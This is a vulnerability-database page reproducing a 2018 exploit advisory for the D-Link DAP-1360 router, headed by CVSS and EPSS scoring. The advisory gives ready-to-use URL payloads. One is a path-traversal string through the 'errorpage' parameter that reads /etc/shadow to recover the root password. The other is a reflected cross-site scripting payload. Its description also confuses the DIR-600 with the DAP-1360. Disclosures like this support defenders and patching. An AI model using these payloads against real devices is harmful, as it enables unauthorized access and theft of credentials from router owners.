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D-link DAP-1360 Path Traversal / Cross-Site Scripting

CVE	Category	Price	Severity
	CWE-22	$1000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2018-07-25

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018070222

Below is a copy:

D-link DAP-1360 Path Traversal / Cross-Site Scripting

# Exploit Title: D-Link DAP-1360  File path traversal and Cross site scripting[reflected] can lead to Authentication Bypass easily.
# Date: 20-07-2018
# Exploit Author: r3m0t3nu11
# Contact : http://twitter.com/r3m0t3nu11
# Vendor : www.dlink.com
# Version: Hardware version: F1
Firmware version: 6.O5
# Tested on:All Platforms


1) Description

After Successfully Connected to D-Link DIR-600
Router(FirmWare Version : 2.01), Any User Can Bypass The Router's
Root password as well bypass admin panel.

D-Link DAP-1360  devices with v6.x firmware allow remote attackers to
read passwords via a errorpage paramater which lead to absolute path
traversal attack,

Its More Dangerous when your Router has a public IP with remote login
enabled.


IN MY CASE,
Tested Router IP : http://192.168.70.69/



Video POC : https://www.dropbox.com/s/tvpq2jm3jv48j3c/D-link.mov?dl=0

2) Proof of Concept

Step 1: Go to
Router Login Page : http://192.168.70.69:80

Step 2:
Add the payload to URL.

Payload:
getpage=html%2Findex.html&errorpage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=dd&%3Aaction=login&%3Asessionid=3a6a085



Now u can get root password by reading /etc/shadow.

2- XSS
  Step 1: Go to
Router Login Page : http://192.168.70.69:80

Step 2:
Add the payload to URL.

Payload:
getpage=html%2Findex.html&errorpage=<Script>alert('r3m0t3nu11')</script>&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=dd&%3Aaction=login&%3Asessionid=3a6a085

u will get r3m0t3nu11 name pop up as reflected xss

Greetz to : Samir Hadji,0n3,C0ld Z3r0,alm3refh group,0x30 team,zero way team.

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